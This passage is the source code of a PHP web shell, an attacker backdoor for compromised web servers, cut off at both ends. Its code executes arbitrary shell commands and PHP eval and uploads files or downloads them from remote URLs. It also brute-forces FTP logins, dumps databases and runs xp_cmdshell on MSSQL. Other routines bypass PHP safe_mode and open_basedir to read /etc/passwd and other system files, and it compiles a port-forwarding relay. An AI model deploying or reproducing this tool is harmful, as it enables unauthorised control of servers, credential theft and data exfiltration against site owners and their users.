BACKGROUND-COLOR: black;

color: white;

}

.td1 {

BORDER: 0px;

BORDER-COLOR: #333333;

font: 7pt Verdana;

BACKGROUND-COLOR: black;

color: green;

}

.tr1 {

BORDER: 0px;

BORDER-COLOR: #333333;

color: #50AA20;

}

table {

BORDER:  #eeeeee 1px outset;

BORDER-COLOR: #333333;

BACKGROUND-COLOR: #131313;

color: #50AA20;

}

input {

border			: solid 1px;

border-color		: #2D2D2D #252525 #252525 #252525;

BACKGROUND-COLOR: black;

font: 8pt Verdana;

color: red;

}

select {

BORDER-RIGHT:  #ffffff 1px solid;

BORDER-TOP:    #999999 1px solid;

BORDER-LEFT:   #999999 1px solid;

BORDER-BOTTOM: #ffffff 1px solid;

BORDER-COLOR: #333333;

BACKGROUND-COLOR: #131313;

font: 8pt Verdana;

color: white;;

}

submit {

BORDER:  buttonhighlight 2px outset;

BACKGROUND-COLOR: #131313;

width: 30%;

color: white;

}

textarea {

BORDER-RIGHT:  #ffffff 1px solid;

BORDER-TOP:    #999999 1px solid;

BORDER-LEFT:   #999999 1px solid;

BORDER-BOTTOM: #ffffff 1px solid;

BORDER-COLOR: #333333;

BACKGROUND-COLOR: black;

font: Fixedsys bold;

color: silver;

}

BODY {

SCROLLBAR-ARROW-COLOR: #444444;

SCROLLBAR-BASE-COLOR: #444444;

margin: 1px;

color: #50AA20;

background-color: #131313;

}
';}
if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
{
 cf("/tmp/dpc.c",$datapipe_c);
 $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
 @unlink("/tmp/dpc.c");
 $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
 $_POST['cmd']="ps -aux | grep dpc";
}
if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
if (!empty($HTTP_POST_FILES['userfile']['name']))
{
if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
@copy($HTTP_POST_FILES['userfile']['tmp_name'],
            $_POST['dir']."/".$nfn)
      or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>");
}
if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
{
 switch($_POST['with'])
 {
 case wget:
 $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
 break;
 case fetch:
 $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
 break;
 case lynx:
 $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
 break;
 case links:
 $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
 break;
 case GET:
 $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
 break;
 case curl:
 $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
 break;
 }
}
if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down"))
 {
 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
 if(empty($ftp_port)) { $ftp_port = 21; }
 $connection = @ftp_connect ($ftp_server,$ftp_port,10);
 if(!$connection) { err(3); }
 else
  {
  if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
  else
   {
   if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);        }
   if($_POST['cmd']=="ftp_file_up")   { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);        }
   }
  }
 @ftp_close($connection);
 $_POST['cmd'] = "";
 }

if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute")
 {
 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
 if(empty($ftp_port)) { $ftp_port = 21; }
 $connection = @ftp_connect ($ftp_server,$ftp_port,10);
 if(!$connection) { err(3); $_POST['cmd'] = ""; }
 else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><font color=red face=tahoma size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
 @ftp_close($connection);
 }
echo $table_up3;

if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";




if ($method=="file") {
                        if (@file($file)) {
                                $filer = file($file);

                                foreach ($filer as $a) { echo $a; }

                        } else {
                                echo "<script> alert(\"unable to read file: $file using: file\"); </script>";
                        }
                }
                if ($method=="fread") {
                        if (@fopen($file, 'r')) {
                                $fp = fopen($file, 'r');
                                $string = fread($fp, filesize($file));
                                echo "<pre>";
                                echo $string;
                                echo "</pre>";
                        } else {
                                echo "<script> alert(\"unable to read file: $file using: fread\"); </script>";
                        }
                }
                if ($method=="show_source") {
                        if (show_source($file)) {
                                echo "<pre>";
                                echo show_source($file);
                                echo "</pre>";
                        } else {
                                echo "<script> alert(\"unable to read file: $file using: show_source\"); </script>";
                        }

                }
                if ($method=="readfile") {
                        echo "<pre>";
                        if (readfile($file)) {
                                //echo "<pre>";
                                //echo readfile($file);
                                echo "</pre>";
                        } else {
                                echo "</pre>";
                                echo "<script> alert(\"unable to read file: $file using: readfile\"); </script>";
                        }

                }

function dozip1($link,$file)
{
   $fp = @fopen($link,"r");
   while(!feof($fp))
   {
       $cont.= fread($fp,1024);
   }
   fclose($fp);

   $fp2 = @fopen($file,"w");
   fwrite($fp2,$cont);
   fclose($fp2);
}
if (isset($_POST['funzip']))
{
dozip1($_POST['funzip'],$_POST['fzip']);
}
if(empty($_POST['root'])){
} else {
   $root = $_POST['root']; }




  $c = 0; $D = array();
  set_error_handler("eh");

  $chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

  for($i=0; $i < strlen($chars); $i++){
  $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";

  $prevD = $D[count($D)-1];
  glob($path."*");

        if($D[count($D)-1] != $prevD){

        for($j=0; $j < strlen($chars); $j++){

           $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}";

           $prevD2 = $D[count($D)-1];
           glob($path."*");

              if($D[count($D)-1] != $prevD2){


                 for($p=0; $p < strlen($chars); $p++){

                 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";

                 $prevD3 = $D[count($D)-1];
                 glob($path."*");

                    if($D[count($D)-1] != $prevD3){


                       for($r=0; $r < strlen($chars); $r++){

                       $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
                       glob($path."*");

                       }

                    }

                 }

              }

        }

        }

  }

  $D = array_unique($D);




  foreach($D as $item)
  if(isset($_REQUEST['root']))
  echo "{$item}\n";




  function eh($errno, $errstr, $errfile, $errline){

     global $D, $c, $i;
     preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o);
     if($o){ $D[$c] = $o[2]; $c++;}

  }





if($safe_mode)
{
 switch($_POST['cmd'])
 {
 case 'safe_dir':
  $d=@dir($dir);
  if ($d)
   {
   while (false!==($file=$d->read()))
    {
     if ($file=="." || $file=="..") continue;
     @clearstatcache();
     list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
     if(!$unix){
     echo date("d.m.Y H:i",$mtime);
     if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size);
     }
     else{
     $owner = @posix_getpwuid($uid);
     $grgid = @posix_getgrgid($gid);
     echo $inode." ";
     echo perms(@fileperms($file));
     printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
     echo date("d.m.Y H:i ",$mtime);
     }
     echo "$file\n";
    }
   $d->close();
   }
  else echo $lang[$language._text29];
 break;
    }
}
else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){
 $cmd_rep = ex($_POST['cmd']);
 if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
 else { echo @htmlspecialchars($cmd_rep)."\n"; }}
 if($_POST['cmd'])
{
 switch($_POST['cmd'])
 {
  case 'test1':
  $ci = @curl_init("file://".$_POST['test1_file']."");
  $cf = @curl_exec($ci);
  echo $cf;
  break;
  case 'test2':
  @include($_POST['test2_file']);
  break;
  case 'mysqlb':

$mhost = "localhost";
$muser = $_POST['test3_ml'];
$mpass = $_POST['test3_mp'];
$mdb   = $_POST['test3_md'];
$file = $_POST['test3_file'];

// default mysql_read files [seperated by: ':']:
$mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
$mysql_files = explode(':', $mysql_files_str);


                                                                $sql = array (
                                                                   "USE $mdb",

                                                                   'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',

                                                                   "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
                                                                   . "TERMINATED BY       '__THIS_NEVER_HAPPENS__' "
                                                                   . "ESCAPED BY          '' "
                                                                   . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",

                                                                   "SELECT a FROM $tbl LIMIT 1"
                                                                );


                                                                mysql_connect ($mhost, $muser, $mpass);

                                                                foreach ($sql as $statement) {
                                                                   $q = mysql_query ($statement);

                                                                   if ($q == false) die (
                                                                      "FAILED: " . $statement . "\n" .
                                                                      "REASON: " . mysql_error () . "\n"
                                                                   );

                                                                   if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;

                                                                   echo htmlspecialchars($r[0]);
                                                                   mysql_free_result ($q);
                                                                }


echo "</textarea>";

 break;
  case 'test4':
  if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
  $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
  if($db)
   {
   if(@mssql_select_db($_POST['test4_md'],$db))
    {
     @mssql_query("drop table h1kt0s4_temp_table",$db);
     @mssql_query("create table h1kt0s4_temp_table ( string VARCHAR (500) NULL)",$db);
     @mssql_query("insert into h1kt0s4_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
     $res = mssql_query("select * from h1kt0s4_temp_table",$db);
     while(($row=@mssql_fetch_row($res)))
      {
      echo $row[0]."\r\n";
      }
    @mssql_query("drop table h1kt0s4_temp_table",$db);
    }
    else echo "[-] ERROR! Can't select database";
   @mssql_close($db);
   }
  else echo "[-] ERROR! Can't connect to MSSQL server";
  break;
  case 'test5':
  if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail');
  $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail";
  @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
  $lines = file ('/tmp/mb_send_mail');
  foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; }
  break;
  case 'test6':
  $stream = @imap_open('/etc/passwd', "", "");
  $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
  for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n";
  @imap_close($stream);
  break;
  case 'test7':
  $stream = @imap_open($_POST['test7_file'], "", "");
  $str = @imap_body($stream, 1);
  echo $str;
  @imap_close($stream);
  break;
  case 'test8':
  if(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118'];
  else echo $lang[$language.'_text119'];
  break;
case 'cURL':
   if(empty($_POST['h1kt0s4'])){


} else {
$curl=$_POST['h1kt0s4'];
$ch =curl_init("file:///".$curl."\x00/../../../../../../../../../../../../".__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));
echo "</textarea></CENTER>";

}
break;
case 'copy':

if(empty($snn)){
if(empty($_GET['snn'])){
if(empty($_POST['snn'])){

} else {
$u1p=$_POST['snn'];
}
} else {
$u1p=$_GET['snn'];
}
}
  $u1p=""; // File to Include... or use _GET _POST
$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp


$temp=tempnam($tymczas, "cx");

if(copy("compress.zlib://".$snn, $temp)){
$zrodlo = fopen($temp, "r");
$tekst = fread($zrodlo, filesize($temp));
fclose($zrodlo);
echo "".htmlspecialchars($tekst)."";
unlink($temp);
echo "</textarea></CENTER>";
}
break;
case 'ini_restore':
 if(empty($_POST['ini_restore'])){
} else {

$ini=$_POST['ini_restore'];
echo ini_get("safe_mode");
echo ini_get("open_basedir");
require_once("$ini");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["ss"]);
echo "</textarea></CENTER>";
}
break;
case 'glob':
function reg_glob()
{
$chemin=$_REQUEST['glob'];
$files = glob("$chemin*");


foreach ($files as $filename) {

   echo "$filename\n";

}
}

if(isset($_REQUEST['glob']))
{
reg_glob();
}

break;
case 'zend':
 if(empty($_POST['zend'])){
} else {

$dezend=$_POST['zend'];
include($_POST['zend']);
print_r($GLOBALS);
require_once("$dezend");
echo "</textarea></p>";
}
break;
  case 'sym1':
     if(empty($_POST['sym1p'])){
             } else {
$symp=$_POST['sym1p'];
         }
     if(empty($_POST['sym1p2'])){

} else {
$symp2=$_POST['sym1p2'];

  symlink("a/a/a/a/a/a/", "dummy");
symlink("dummy".$symp2."".$symp."", "xxx");
unlink("dummy");
while (1) {
symlink(".", "dummy");

  }
 }
  break;
  case 'sym2':
  @include(xxx);
  break;

  case 'plugin':
  if ($_POST['plugin'] ){


                                           for($uid=0;$uid<60000;$uid++){   //cat /etc/passwd
                                        $ara = posix_getpwuid($uid);
                                                if (!empty($ara)) {
                                                  while (list ($key, $val) = each($ara)){
                                                    print "$val:";
                                                  }
                                                  print "\n";
                                                }
                                        }
                                 echo "</textarea>";

             }
        break;
        case 'command':
          if (!empty($_POST['command'])) {

                if ($method=="system") {
                system($_POST['command']);
                echo "Functions system";
                }
                if ($method=="passthru") {
                passthru($_POST['command']);
                echo "Functions passthru";
                }
                if ($method=="exec") {
                        $string = exec($_POST['command']);
                        echo $string;
                        echo "Functions exec";

                }
                if ($method=="shell_exec") {
                $string = shell_exec($_POST['command']);
                echo $string;
                echo "Functions shell_exec";
                }
                if ($method=="popen") {
                $pp = popen($_POST['command'], 'r');
                $read = fread($pp, 2096);
                echo $read;
                pclose($pp);
                echo "Functions popen";
                  }

	  if ($method=="proc_open") {


$command  = isset($_POST['command'])  ? $_POST['command']  : '';



/* Load the configuration. */

/* Default settings --- these settings should always be set to something. */

/* Merge settings. */

session_start();



    if (!empty($command)) {
        /* Save the command for late use in the JavaScript.  If the command is
         * already in the history, then the old 	
login is removed before the
         * new 	
login is put into the list at the front. */
        if (($i = array_search($_POST['command'], $_SESSION['history'])) !== false)
            unset($_SESSION['history'][$i]);

        array_unshift($_SESSION['history'], $_POST['command']);

        /* Now append the commmand to the output. */
        $_SESSION['output'] .= '$ ' . $_POST['command'] . "\n";

        /* Initialize the current working directory. */
        if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_POST['command'])) {
            $_SESSION['cwd'] = realpath($ini['settings']['home-directory']);
        } elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_POST['command'], $regs)) {
            /* The current command is a 'cd' command which we have to handle
             * as an internal shell command. */

            if ($regs[1]{0} == '/') {
                /* Absolute path, we use it unchanged. */
                $new_dir = $regs[1];
            } else {
                /* Relative path, we append it to the current working
                 * directory. */
                $new_dir = $_SESSION['cwd'] . '/' . $regs[1];
            }

            /* Transform '/./' into '/' */
            while (strpos($new_dir, '/./') !== false)
                $new_dir = str_replace('/./', '/', $new_dir);

            /* Transform '//' into '/' */
            while (strpos($new_dir, '//') !== false)
                $new_dir = str_replace('//', '/', $new_dir);

            /* Transform 'x/..' into '' */
            while (preg_match('|/\.\.(?!\.)|', $new_dir))
                $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);

            if ($new_dir == '') $new_dir = '/';

            /* Try to change directory. */
            if (@chdir($new_dir)) {
                $_SESSION['cwd'] = $new_dir;
            } else {
                $_SESSION['output'] .= "cd: could not change to: $new_dir\n";
            }

        } elseif (trim($_POST['command']) == 'exit') {
            logout();
        } else {

            /* The command is not an internal command, so we execute it after
             * changing the directory and save the output. */
            chdir($_SESSION['cwd']);

            // We canot use putenv() in safe mode.
            if (!ini_get('safe_mode')) {
                // Advice programs (ls for example) of the terminal size.
                putenv('ROWS=' . $rows);
                putenv('COLUMNS=' . $columns);
            }

            /* Alias expansion. */
            $length = strcspn($_POST['command'], " \t");
            $token = substr($_POST['command'], 0, $length);
            if (isset($ini['aliases'][$token]))
                $command = $ini['aliases'][$token] . substr($_POST['command'], $length);

            $io = array();
            $p = proc_open($_POST['command'],
                           array(1 => array('pipe', 'w'),
                                 2 => array('pipe', 'w')),
                           $io);

            /* Read output sent to stdout. */
            while (!feof($io[1])) {
                $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
                                                        ENT_COMPAT, 'UTF-8');
            }
            /* Read output sent to stderr. */
            while (!feof($io[2])) {
                $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
                                                        ENT_COMPAT, 'UTF-8');
            }

            fclose($io[1]);
            fclose($io[2]);
            proc_close($p);
        }
    }

    /* Build the command history for use in the JavaScript */
    if (empty($_SESSION['history'])) {
        $js_command_hist = '""';
    } else {
        $escaped = array_map('addslashes', $_SESSION['history']);
        $js_command_hist = '"", "' . implode('", "', $escaped) . '"';
    }
               }
             		}


		break;
   }
}





if ($_POST['cmd']=="ftp_brute")
 {
 $suc = 0;
 foreach($users as $user)
  {
  $connection = @ftp_connect($ftp_server,$ftp_port,10);
  if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
  else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
  @ftp_close($connection);
  }
 echo "\r\n-------------------------------------\r\n";
 $count = count($users);
 if(isset($_POST['reverse'])) { $count *= 2; }
 echo $lang[$language.'_text97'].$count."\r\n";
 echo $lang[$language.'_text98'].$suc."\r\n";
 }
if ($_POST['cmd']=="php_eval"){
 $eval = @str_replace("<?","",$_POST['php_eval']);
 $eval = @str_replace("?>","",$eval);
 eval($eval);}

if ($_POST['cmd']=="mysql_dump")
 {
  if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
  $sql = new my_sql();
  $sql->db   = $_POST['db'];
  $sql->host = $_POST['db_server'];
  $sql->port = $_POST['db_port'];
  $sql->user = $_POST['mysql_l'];
  $sql->pass = $_POST['mysql_p'];
  $sql->base = $_POST['mysql_db'];
  if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
  else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
  else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
  else {
   if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
   else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); }
   else { echo "[-] ERROR! Can't write in dump file"; }
   }
 }
echo "</textarea></div>";
echo "</b>";
echo "</td></tr></table>";
echo "<table width=100% cellpadding=0 cellspacing=0>";
function div_title($title, $id)
{
  return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
}
function div($id)
 {
 if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">';
 return '<div id="'.$id.'">';
 }


if(!$safe_mode){
echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
}
else{
echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
echo $te.'</div>'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.'_text208'],'id15').$table_up2.div('id15').$ts;
echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select name=\"method\">
                            <option value=\"system\" <? if ($method==\"system\") { echo \"selected\"; } ?>system</option>
                            <option value=\"passthru\" <? if ($method==\"passthru\") { echo \"selected\"; } ?>passthru</option>
                            <option value=\"exec\" <? if ($method==\"exec\") { echo \"selected\"; } ?>exec</option>
                            <option value=\"shell_exec\" <? if ($method==\"shell_exec\") { echo \"selected\"; } ?>shell_exec</option>
                            <option value=\"popen\" <? if ($method==\"popen\") { echo \"selected\"; } ?>popen</option>
                            <option value=\"proc_open\" <? if ($method==\"proc_open\") { echo \"selected\"; } ?>proc_open</option>
                      </select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text3'].$arrow."</b>".in('text','command',54,(!empty($_POST['command'])?($_POST['command']):("id"))).in('hidden','cmd',0,'command').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;

echo $fs.$table_up1.div_title($lang[$language.'_text223'],'id5').$table_up2.div('id5').$ts;
echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select name=\"method\">
                            <option value=\"file\" <? if ($method==\"file\") { echo \"selected\"; } ?> file</option>
                            <option value=\"fread\" <? if ($method==\"fread\") { echo \"selected\"; } ?> fread</option>
                            <option value=\"show_source\" <? if ($method==\"show_source\") { echo \"selected\"; } ?> show_source</option>
                            <option value=\"readfile\" <? if ($method==\"readfile\") { echo \"selected\"; } ?> readfile</option>
                      </select>".in('hidden','file',0,$dir).ws(2)."<b>".$lang[$language.'_text202'].$arrow."</b>".in('text','file',41,'/etc/passwd').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
echo $te.'</div>'.$table_end1.$fe;

echo $fs.$table_up1.div_title($lang[$language.'_text200'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','snn',85,'/etc/passwd').in('hidden','cmd',0,'copy').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text300'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','h1kt0s4',85,'/etc/passwd').in('hidden','cmd',0,'cURL').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text203'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','ini_restore',85,'/etc/passwd').in('hidden','cmd',0,'ini_restore').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text224'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>","<select size=\"1\" name=\"plugin\"><option value=\"plugin\">/etc/passwd</option></option></select>".in('hidden','cmd',0,'plugin').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id12').$table_up2.div('id12').$ts;
echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>");
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysqlb').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text220'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','sym1p2',50,(!empty($_POST['sym1p2'])?($_POST['sym1p']):("/../../../"))).in('text','sym1p',50,(!empty($_POST['sym1p'])?($_POST['sym1p']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text222'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;

{
echo $fs.$table_up1.div_title($lang[$language.'_text204'],'id23').$table_up2.div('id23').$ts;
echo sr(15,"<b>".$lang[$language.'_text205'].$arrow."</b>",in('text','log',96,(!empty($_POST['log'])?($_POST['log']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'Crippling been planted and you can use filename.php?ss=http://shell.txt?').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text207'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','glob',85,'/etc/').in('hidden','cmd',0,'glob').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text209'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','root',85,'/etc/').in('hidden','cmd',0,'root').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.'</div>'.$table_end1.$fe;

echo $fs.$table_up1.div_title($lang[$language.'_text210'],'id11').$table_up2.div('id11').$ts;
echo "<table class=table1 width=100% align=center>";
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','zend',85,(!empty($_POST['zend'])?($_POST['zend']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'zend').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;

echo $table_up1.div_title($lang[$language.'_text211'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text212']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','php_ini1',10,'php.ini').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text213']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','htacces',10,'htaccess').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text218']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','file_ini',10,'ini.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text221'],'id15').$table_up2.div('id15').$ts;
echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>",in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','funzip',78,"$dir/file"));
